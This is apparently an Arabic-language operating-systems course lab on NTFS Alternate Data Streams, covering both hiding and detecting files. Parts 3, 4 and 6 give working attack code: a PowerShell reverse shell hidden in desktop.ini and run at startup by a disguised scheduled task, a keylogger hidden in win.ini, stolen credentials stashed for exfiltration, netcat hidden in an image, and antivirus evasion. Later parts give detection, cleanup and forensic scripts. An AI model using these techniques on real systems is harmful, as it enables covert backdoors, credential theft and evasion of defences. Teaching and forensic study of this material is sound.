انتقل إلى المحتوى الرئيسي

المختبر 4.2: تدفقات البيانات البديلة - إخفاء الملفات

الأهداف التعليمية​

في نهاية هذا المختبر، ستكون قادرًا على:

  • فهم مفهوم تدفقات البيانات البديلة في NTFS
  • إنشاء ومعالجة تدفقات البيانات البديلة
  • إخفاء الملفات والبرمجيات الخبيثة باستخدام ADS
  • تنفيذ الكود من تدفق بديل
  • اكتشاف وجود ADS على النظام
  • تنظيف وإزالة ADS الخبيثة

المدة المقدرة​

30 دقيقة

المتطلبات المسبقة​

  • جهاز افتراضي Windows مع نظام ملفات NTFS
  • سطر الأوامر CMD وPowerShell
  • فهم أنظمة الملفات (دورة نظرية)
  • إكمال المختبر 4.1

السياق المهني​

تدفقات البيانات البديلة (ADS) هي ميزة شرعية في NTFS، ولكن يتم استغلالها بشكل واسع من قبل المهاجمين لـ:

  • إخفاء البرمجيات الخبيثة
  • تخزين الأدوات بدون اكتشاف
  • تجاوز بعض برامج مكافحة الفيروسات
  • الحفاظ على الاستمرارية الخفية
  • استخراج البيانات بشكل خفي

الاستخدام الشرعي:

  • بيانات وصفية للملفات (معرف المنطقة، المؤلف، إلخ.)
  • سمات ممتدة
  • الصور المصغرة والمعاينات
  • معلومات التنزيل (علامة الويب)

الاستخدام الخبيث:

  • إخفاء البرمجيات الخبيثة
  • تخزين بيانات الاعتماد المسروقة
  • الأبواب الخلفية غير المرئية
  • استخراج البيانات

التحذير الأخلاقي والقانوني​

التقنيات التعليمية في هذا المختبر تُستخدم من قبل المهاجمين لإخفاء البرمجيات الخبيثة والحفاظ على الوصول الخفي إلى الأنظمة.

مسموح:

  • على جهازك الافتراضي للاختبار
  • لاختبارات الأمان المصرح بها
  • للتحقيق الجنائي مع الإذن

ممنوع:

  • إخفاء البرمجيات الخبيثة على الأنظمة الحقيقية
  • الاستخدام لإخفاء الأنشطة الخبيثة
  • استخراج البيانات غير المصرح به

العواقب: الاستخدام الخبيث = جريمة حاسوبية خطيرة (قانون العقوبات المادة 342.1، 430).


الجزء 1: فهم تدفقات البيانات البديلة​

الخطوة 1.1: المفهوم الأساسي​

نظام الملفات NTFS:

كل ملف NTFS لديه في الواقع عدة "تدفقات" (streams):

  • التدفق الرئيسي: المحتوى المرئي للملف
  • التدفقات البديلة: بيانات إضافية غير مرئية

الصياغة:

fichier.txt                    → التدفق الرئيسي
fichier.txt:stream1.txt → تدفق بديل باسم "stream1.txt"
fichier.txt:hidden.exe → تدفق بديل باسم "hidden.exe"

الخصائص:

  • غير مرئية في مستكشف Windows
  • غير مرئية مع dir القياسي
  • لا يوجد حد للحجم
  • يمكن أن تحتوي على أي نوع من البيانات
  • يمكن تنفيذها

الخطوة 1.2: التحقق من نظام الملفات الخاص بك​

التحقق من أنك على NTFS:

fsutil fsinfo volumeinfo C:

ابحث عن: File System Name : NTFS

إذا كنت على FAT32 أو exFAT: ADS لا يعمل (NTFS فقط)

أسئلة:

  1. هل القرص C: لديك على NTFS؟
  2. هل سمعت عن ADS من قبل هذا المختبر؟

الجزء 2: إنشاء ومعالجة ADS​

الخطوة 2.1: إنشاء أول ADS لك​

أنشئ ملفًا عاديًا:

echo Ceci est le contenu visible > normal.txt

تحقق من الحجم:

dir normal.txt

يجب أن يعرض حوالي 30 بايت.

أضف تدفقًا بديلاً:

echo Ceci est un message secret caché > normal.txt:hidden.txt

تحقق مرة أخرى من الحجم:

dir normal.txt

مهم: الحجم لم يتغير! لا يزال 30 بايت!

افتح الملف باستخدام Notepad:

notepad normal.txt

ترى: "Ceci est le contenu visible"

الرسالة المخفية غير مرئية!

الخطوة 2.2: قراءة ADS​

لقراءة محتوى التدفق المخفي:

more < normal.txt:hidden.txt

أو

notepad normal.txt:hidden.txt

يفتح Notepad بالمحتوى المخفي!

PowerShell:

Get-Content normal.txt:hidden.txt

أسئلة: 3. هل يمكنك رؤية التدفق المخفي باستخدام dir؟ 4. كم "يزن" الملف مع التدفق المخفي؟ (نفس الحجم!)

الخطوة 2.3: سرد ADS لملف​

الأمر لرؤية جميع التدفقات:

dir /R normal.txt

يجب أن يعرض:

30 normal.txt
33 normal.txt:hidden.txt:$DATA

PowerShell (أوضح):

Get-Item normal.txt -Stream *

النتيجة:

FileName: normal.txt

Stream Length
------ ------
:$DATA 30
hidden.txt 33

التدفق المخفي مكشوف!

الخطوة 2.4: إنشاء عدة ADS​

يمكنك الحصول على عدة تدفقات على نفس الملف:

echo Secret 1 > normal.txt:data1.txt
echo Secret 2 > normal.txt:data2.txt
echo Secret 3 > normal.txt:data3.txt

سرد الكل:

Get-Item normal.txt -Stream *

ملف واحد، 4 تدفقات بيانات (1 رئيسي + 3 بديلة)!

أسئلة: 5. كم عدد التدفقات التي يمكنك إنشاؤها على ملف؟ 6. هل هناك حد للحجم لـ ADS؟


الجزء 3: إخفاء الملفات التنفيذية​

الخطوة 3.1: إخفاء ملف تنفيذي كامل​

أنشئ سكربت PowerShell خبيث:

احفظ malware.ps1:

Write-Host "Malware exécuté!" -ForegroundColor Red
whoami
hostname
Get-Process | Select-Object -First 10

اخفيه في ملف نصي بريء:

type malware.ps1 > innocent.txt:malware.ps1

تحقق:

dir innocent.txt

الحجم: بضع بايتات فقط (النص المرئي)!

لكن السكربت الكامل مخفي بالداخل!

نفذ السكربت المخفي:

powershell -ExecutionPolicy Bypass -File innocent.txt:malware.ps1

السكربت ينفذ من التدفق المخفي!

مذهل: الملف يبدو بريئًا (نص)، يحتوي في الواقع على سكربت كامل!

الخطوة 3.2: إخفاء ملف ثنائي .exe​

قم بتنزيل netcat (nc.exe):

من: https://eternallybored.org/misc/netcat/

اخفيه في ملف صورة:

type nc.exe > photo.jpg:nc.exe

تحقق من الصورة:

dir photo.jpg

الحجم الطبيعي لصورة (بضع كيلوبايت).

افتح photo.jpg: الصورة تظهر بشكل طبيعي!

لكن netcat مخفي بداخلها!

نفذ netcat من التدفق:

wmic process call create "C:\Users\VotreNom\Desktop\photo.jpg:nc.exe"

Netcat ينفذ من الصورة!

أسئلة: 7. هل يقوم برنامج مكافحة الفيروسات بفحص ADS افتراضيًا؟ 8. كيف يمكن لمحلل جنائي اكتشاف ذلك؟

الخطوة 3.3: الاستمرارية عبر ADS​

تقنية متقدمة: إخفاء backdoor + تنفيذ تلقائي

الخطوة 1 - إخفاء الحمولة:

# سكربت shell عكسي
$reverseShell = @"
`$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);
`$stream = `$client.GetStream();
[byte[]]`$bytes = 0..65535|%{0};
while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
`$sendback = (iex `$data 2>&1 | Out-String);
`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
`$stream.Write(`$sendbyte,0,`$sendbyte.Length);
`$stream.Flush()
};
`$client.Close()
"@

# إخفاء في ملف نظام بريء
$reverseShell | Out-File -FilePath "C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

الخطوة 2 - إنشاء مهمة مجدولة تنفذ من ADS:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger

النتيجة:

  • Backdoor غير مرئي تمامًا
  • لا يوجد ملف .ps1 مرئي
  • المهمة المجدولة تبدو طبيعية
  • تنفذ عند كل بدء تشغيل
  • صعب جدًا اكتشافها!

الجزء 4: استخراج البيانات عبر ADS​

الخطوة 4.1: إخفاء البيانات المسروقة​

السيناريو: لقد سرقت بيانات اعتماد وتريد استخراجها بشكل خفي.

أنشئ ملفًا ببيانات حساسة:

echo admin:Password123! > credentials.txt
echo user1:SecretPass456 >> credentials.txt
echo database:DBPassword789 >> credentials.txt

اخفيه في ملف نظام بريء:

type credentials.txt > C:\Windows\System32\notepad.exe:stolen_data.txt

احذف الأصل:

del credentials.txt

التحقق:

  • credentials.txt لم يعد موجودًا
  • notepad.exe له نفس الحجم كما كان
  • البيانات مخفية في notepad.exe!

استرجاع لاحقًا:

more < C:\Windows\System32\notepad.exe:stolen_data.txt

البيانات مسترجعة!

الخطوة 4.2: استخراج عبر النسخ​

للاستخراج:

الطريقة 1 - نسخ الملف بالكامل:

copy C:\Windows\System32\notepad.exe E:\notepad_backup.exe

على جهاز آخر، استخرج التدفق:

more < notepad_backup.exe:stolen_data.txt

التدفقات محفوظة عند النسخ!

الطريقة 2 - استخراج مباشر للتدفق:

more < notepad.exe:stolen_data.txt > data.txt

أسئلة: 9. هل يتم الحفاظ على ADS عند النسخ؟ 10. ماذا يحدث إذا قمت بالنسخ إلى نظام FAT32؟


الجزء 5: اكتشاف ADS​

الخطوة 5.1: طرق الاكتشاف​

الطريقة 1 - DIR مع الخيار /R:

dir /R C:\Users\%USERNAME%\Desktop

يعرض جميع التدفقات لجميع الملفات.

الطريقة 2 - PowerShell (تكراري):

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -ErrorAction SilentlyContinue | 
ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}
if ($streams) {
[PSCustomObject]@{
File = $_.FullName
Stream = $streams.Stream -join ", "
Size = $streams.Length
}
}
} | Format-Table -AutoSize

الطريقة 3 - أداة Streams (Sysinternals):

تنزيل: https://learn.microsoft.com/en-us/sysinternals/downloads/streams

streams -s C:\Users\%USERNAME%

يعرض جميع الملفات مع ADS!

الخطوة 5.2: سكربت اكتشاف آلي​

أنشئ detect_ads.ps1:

param(
[string]$Path = "C:\",
[switch]$SuspiciousOnly
)

Write-Host "=== DETECTION ALTERNATE DATA STREAMS ===" -ForegroundColor Cyan
Write-Host "Scanning: $Path"
Write-Host ""

$suspiciousExtensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd', '.js')
$results = @()

Get-ChildItem -Path $Path -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}

foreach ($stream in $streams) {
$isSuspicious = $false
$reason = ""

# تحقق من وجود امتداد مشبوه
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)
if ($streamExt -in $suspiciousExtensions) {
$isSuspicious = $true
$reason = "امتداد تنفيذي"
}

# تحقق من حجم التدفق الكبير
if ($stream.Length -gt 10KB) {
$isSuspicious = $true
$reason += " حجم كبير ($($stream.Length) bytes)"
}

# إذا كان وضع SuspiciousOnly، قم بالتصفية
if (-not $SuspiciousOnly -or $isSuspicious) {
$results += [PSCustomObject]@{
File = $file.FullName
Stream = $stream.Stream
Size = $stream.Length
Suspicious = $isSuspicious
Reason = $reason
}
}
}
} catch {}
}

if ($results.Count -gt 0) {
Write-Host "ADS DETECTES:" -ForegroundColor Yellow
$results | Format-Table -AutoSize

Write-Host "`nTotal: $($results.Count) streams trouvés" -ForegroundColor Yellow
$suspicious = ($results | Where-Object {$_.Suspicious}).Count
if ($suspicious -gt 0) {
Write-Host "ATTENTION: $suspicious streams suspects!" -ForegroundColor Red
}
} else {
Write-Host "Aucun ADS détecté." -ForegroundColor Green
}

التنفيذ:

# مسح الكل
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\Users\$env:USERNAME

# فقط المشبوهة
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\ -SuspiciousOnly

الخطوة 5.3: معرف المنطقة (الاستخدام الشرعي)​

يستخدم Windows ADS لوضع علامة على الملفات التي تم تنزيلها:

قم بتنزيل ملف من الإنترنت، ثم:

Get-Item fichier_telecharge.exe -Stream *

سترى:

Stream: Zone.Identifier

اقرأه:

more < fichier_telecharge.exe:Zone.Identifier

المحتوى:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/file.exe

ZoneId=3: تم تنزيله من الإنترنت (غير موثوق)

لهذا السبب يعرض Windows التحذير "هذا الملف مصدره الإنترنت"!

أسئلة: 11. ما هي الملفات على نظامك التي تحتوي على تدفق Zone.Identifier؟ 12. كيف تحذف هذا التدفق؟ (لتجاوز التحذير)


الجزء 6: تقنيات هجومية متقدمة​

الخطوة 6.1: تنفيذ الكود من ADS​

أنشئ دفعة خبيثة:

@echo off
whoami > C:\Users\Public\whoami.txt
ipconfig > C:\Users\Public\ipconfig.txt
net user > C:\Users\Public\users.txt

اخفيه:

type malware.bat > C:\Users\Public\readme.txt:payload.bat

نفذ من التدفق:

الطريقة 1 - WMIC:

wmic process call create "C:\Users\Public\readme.txt:payload.bat"

الطريقة 2 - PowerShell:

Start-Process -FilePath "C:\Users\Public\readme.txt:payload.bat"

الكود ينفذ! تحقق:

type C:\Users\Public\whoami.txt

يظهر اسم المستخدم الخاص بك!

البرمجيات الخبيثة كانت غير مرئية تمامًا حتى التنفيذ!

الخطوة 6.2: إخفاء Keylogger كامل​

استخدم keylogger من المختبر 3.3:

اخفيه في ملف نظام:

type keylogger.ps1 > C:\Windows\win.ini:logger.ps1

win.ini: ملف نظام Windows شرعي، دائمًا موجود، لا يشتبه به أبدًا!

أنشئ مهمة مجدولة لتشغيله:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\win.ini:logger.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

النتيجة:

  • Keylogger غير مرئي تمامًا
  • لا يوجد ملف .ps1 مرئي
  • الكشف صعب جدًا
  • يعمل عند كل تسجيل دخول

الخطوة 6.3: تجاوز مكافحة الفيروسات مع ADS​

بعض برامج مكافحة الفيروسات لا تفحص ADS افتراضيًا!

اختبار مع EICAR:

أنشئ ملف EICAR عادي:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > eicar.com

يجب أن يكتشف Windows Defender فورًا ويحذفه!

الآن، اخفيه في ADS:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > innocent.txt:eicar.com

النتيجة: بعض برامج مكافحة الفيروسات لا تكتشفه!

ملاحظة: Windows Defender الحديث يكتشف ADS، لكن ليس كل برامج مكافحة الفيروسات.

أسئلة: 13. هل اكتشف Defender EICAR في التدفق؟ 14. لماذا تكون ADS أصعب في الفحص؟


الجزء 7: تنظيف وإزالة ADS​

الخطوة 7.1: إزالة تدفق محدد​

PowerShell:

Remove-Item -Path "fichier.txt" -Stream "nom_du_stream"

مثال:

Remove-Item -Path "normal.txt" -Stream "hidden.txt"

تحقق:

Get-Item normal.txt -Stream *

يجب أن يكون التدفق "hidden.txt" قد اختفى!

الخطوة 7.2: إزالة جميع التدفقات من ملف​

الطريقة 1 - النسخ إلى FAT32:

copy fichier.txt E:\USB_FAT32\fichier.txt

FAT32 لا يدعم ADS: جميعها محذوفة!

الطريقة 2 - أداة streams.exe:

streams -d fichier.txt

الخيار -d: حذف جميع التدفقات

الطريقة 3 - PowerShell تكراري:

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
Write-Host "Suppression: $($_.FullName):$($stream.Stream)"
Remove-Item -Path $_.FullName -Stream $stream.Stream
}
}

تحذير: هذا يحذف جميع ADS، حتى الشرعية (Zone.Identifier)!

الخطوة 7.3: تنظيف أمني كامل​

سكربت تنظيف آلي:

Write-Host "=== NETTOYAGE ADS MALVEILLANTS ===" -ForegroundColor Cyan

$cleaned = 0
$extensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd')

Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}

foreach ($stream in $streams) {
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)

# حذف إذا كان الامتداد تنفيذي
if ($streamExt -in $extensions) {
Write-Host "SUPPRESSION: $($file.FullName):$($stream.Stream)" -ForegroundColor Red
Remove-Item -Path $file.FullName -Stream $stream.Stream -ErrorAction Stop
$cleaned++
}
}
} catch {}
}

Write-Host "`nTotal: $cleaned streams malveillants supprimés" -ForegroundColor Green

أسئلة: 15. كم عدد الملفات مع ADS التي وجدتها على نظامك؟ 16. كيف تفرق بين ADS الشرعي والخبيث؟


الجزء 8: التحقيق الجنائي والتحليل​

الخطوة 8.1: تحليل نظام مخترق​

السيناريو: تشك في أن مهاجمًا استخدم ADS.

تحقيق كامل:

Write-Host "=== INVESTIGATION FORENSIQUE ADS ===" -ForegroundColor Cyan

# البحث في المجلدات النظامية
$systemFolders = @(
"C:\Windows\System32",
"C:\Windows\Temp",
"C:\Users\*\AppData\Local\Temp"
)

foreach ($folder in $systemFolders) {
Write-Host "`nScanning: $folder" -ForegroundColor Yellow

Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}

if ($streams) {
Write-Host " File: $($_.FullName)"
foreach ($stream in $streams) {
Write-Host " Stream: $($stream.Stream) ($($stream.Length) bytes)"

# قراءة البايتات الأولى للتحليل
$content = Get-Content $_.FullName:$($stream.Stream) -TotalCount 5 -ErrorAction SilentlyContinue
if ($content) {
Write-Host " Preview: $($content -join ' ')"
}
}
}
}
}

الخطوة 8.2: تحليل الخط الزمني​

إنشاء خط زمني لـ ADS:

Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'} |
Select-Object @{N='File';E={$_.FileName}},
Stream,
@{N='Size';E={$_.Length}},
@{N='Created';E={(Get-Item $_.FileName).CreationTime}},
@{N='Modified';E={(Get-Item $_.FileName).LastWriteTime}}
} | Sort-Object Modified -Descending | Format-Table -AutoSize

يسمح برؤية:

  • متى تم تعديل الملفات
  • الارتباط مع الأحداث المشبوهة
  • الخط الزمني للهجوم

الخطوة 8.3: استخراج للتحليل​

استخراج جميع ADS في مجلد للتحليل:

$outputDir = "C:\Forensics\ADS_Extract"
New-Item -ItemType Directory -Force -Path $outputDir

Get-ChildItem C:\Suspect\Path -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$outputFile = Join-Path $outputDir "$($_.Name)_$($stream.Stream)"
Get-Content $_.FullName:$($stream.Stream) -Raw | Out-File $outputFile
Write-Host "Extracted: $outputFile"
}
}

ثم: تحليل مع مكافحة الفيروسات، فك التشفير، التحليل الثابت

أسئلة: 17. ما هي الأدوات التي ستستخدمها لتحليل ADS مشبوه؟ 18. كيف تعيد بناء الخط الزمني لهجوم يستخدم ADS؟


التسليمات​

يجب تسليم:

  1. تقرير تقني (Word/PDF، 3-4 صفحات):

    • إجابات على الأسئلة الـ 18
    • شرح لمفهوم ADS
    • عرض 3 تقنيات للإخفاء
    • نتائج سكربت الاكتشاف
  2. لقطات شاشة (الحد الأدنى 6):

    • إنشاء ADS مع ملف مخفي
    • dir مقابل dir /R (الفرق المرئي)
    • تنفيذ الكود من ADS
    • الاكتشاف باستخدام PowerShell
    • قائمة التدفقات (Get-Item -Stream *)
    • إزالة ADS
  3. السكربتات المطورة:

    • سكربت اكتشاف محسن
    • سكربت تنظيف آلي
    • سكربت استخراج جنائي
  4. تحليل حالة (1-2 صفحات):

    • سيناريو هجوم باستخدام ADS
    • منهجية الاكتشاف
    • خطة العلاج

معايير التقييم​

المعيارالنقاط
فهم مفهوم ADS20%
إنشاء ومعالجة ADS25%
اكتشاف ADS الموجودة20%
سكربت اكتشاف وظيفي20%
التحليل الجنائي والعلاج15%

أوامر مرجعية سريعة​

الإنشاء​

echo contenu > fichier.txt:stream.txt
type source.exe > fichier.txt:hidden.exe

القراءة​

more < fichier.txt:stream.txt
notepad fichier.txt:stream.txt
type fichier.txt:stream.txt

الاكتشاف​

dir /R
streams -s C:\
Get-Item fichier.txt -Stream *
Get-ChildItem -Recurse | Get-Item -Stream * | Where Stream -ne ':$DATA'

التنفيذ​

wmic process call create "fichier.txt:payload.bat"
start fichier.txt:payload.exe
powershell -File fichier.txt:script.ps1

الإزالة​

Remove-Item fichier.txt -Stream stream_name
streams -d fichier.txt

استكشاف الأخطاء وإصلاحها​

المشكلة: "تم رفض الوصول" عند إنشاء ADS​

الحل: تحقق من أن لديك حقوق الكتابة على الملف الرئيسي. إذا لم تتمكن من تعديل الملف، لا يمكنك إضافة تدفق.

المشكلة: ADS لا يعمل​

الحل: تحقق من أنك على NTFS. FAT32/exFAT لا يدعم ADS.

المشكلة: التدفق المنسوخ إلى USB يختفي​

الحل: USB الخاص بك ربما يكون على FAT32. يتم فقدان ADS عند النسخ إلى أنظمة ملفات غير NTFS.


الذهاب أبعد (اختياري)​

التحدي 1: جنائيات ADS​

حلل ملفًا مشبوهًا مع ADS:

  • استخراج جميع التدفقات
  • تحليل المحتوى (strings، تفريغ hex)
  • تحديد الهدف الخبيث
  • توثيق مؤشرات الاختراق (IOCs)

التحدي 2: الحماية الاستباقية​

طور خدمة مراقبة تقوم بـ:

  • مراقبة إنشاء ADS جديدة
  • تنبيه على الامتدادات التنفيذية
  • تسجيل جميع عمليات ADS
  • حظر ADS المشبوهة تلقائيًا

التحدي 3: البحث​

ادرس البرمجيات الخبيثة الحقيقية التي تستخدم ADS:

  • Trojan.Sriknot (2007)
  • تقنيات استخراج البيانات المتدفقة
  • مجموعات APT التي تستخدم ADS للاستمرارية

موارد إضافية​


الخاتمة​

هذا المختبر علمك:

  • مفهوم وعمل تدفقات البيانات البديلة
  • تقنيات إخفاء الملفات والبرمجيات الخبيثة
  • تنفيذ الكود من التدفقات المخفية
  • طرق الاكتشاف الجنائي
  • التنظيف والعلاج

الدروس الرئيسية:

  1. تسمح ADS بإخفاء ملفات كاملة داخل ملفات أخرى
  2. الملفات المخفية في ADS غير مرئية بالأدوات القياسية
  3. يمكن تنفيذ الكود مباشرة من ADS
  4. الاكتشاف يتطلب أدوات متخصصة أو أوامر محددة
  5. ADS هي تقنية استمرارية وإخفاء فعالة جدًا

في سياق حقيقي:

  • تستخدمها البرمجيات الخبيثة المتقدمة لتجنب الاكتشاف
  • تقنية استمرارية خفية
  • استخراج بيانات خفي
  • يتطلب جنائيات متقدمة لاكتشافها

الخطوة التالية: المختبر 4.3 حيث ستتعلم استعادة الملفات "المحذوفة نهائيًا" باستخدام نسخ الظل في Windows!


مختبر تم تطويره في إطار دورة أنظمة التشغيل - MODULE 4